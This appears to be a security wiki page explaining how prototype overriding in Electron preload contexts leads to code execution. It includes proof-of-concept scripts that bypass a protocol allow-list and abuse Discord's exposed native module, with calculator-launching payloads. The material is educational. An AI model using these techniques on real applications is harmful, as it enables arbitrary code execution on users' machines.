Comment on page
Electron contextIsolation RCE via preload code
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
This code open http(s) links with default browser:

Something like
file:///C:/Windows/systemd32/calc.exe
could be used to execute a calc, the SAFE_PROTOCOLS.indexOf
is preventing it.Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
As the call to
SAFE_PROTOCOLS.indexOf
will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Check the original slides for other ways to execute programs without having a prompt asking for permissions.
Apparently another way to load and execute code is to access something like
file://127.0.0.1/electron/rce.jar
When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via
DiscordNative.nativeModules.requireModule('MODULE-NAME')
, into the web page.
Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.The following is the PoC. I was able to confirm that the calc application is popped up when I call the
getGPUDriverVersions
function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test
and Array.prototype.join
.RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
The
getGPUDriverVersions
function tries to execute the program by using the "execa" library, like the following:module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Usually the execa tries to execute "nvidia-smi.exe", which is specified in the
nvidiaSmiPath
variable, however, due to the overridden RegExp.prototype.test
and Array.prototype.join
, the argument is replaced to "calc" in the _execa_'s internal processing.Specifically, the argument is replaced by changing the following two parts.
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!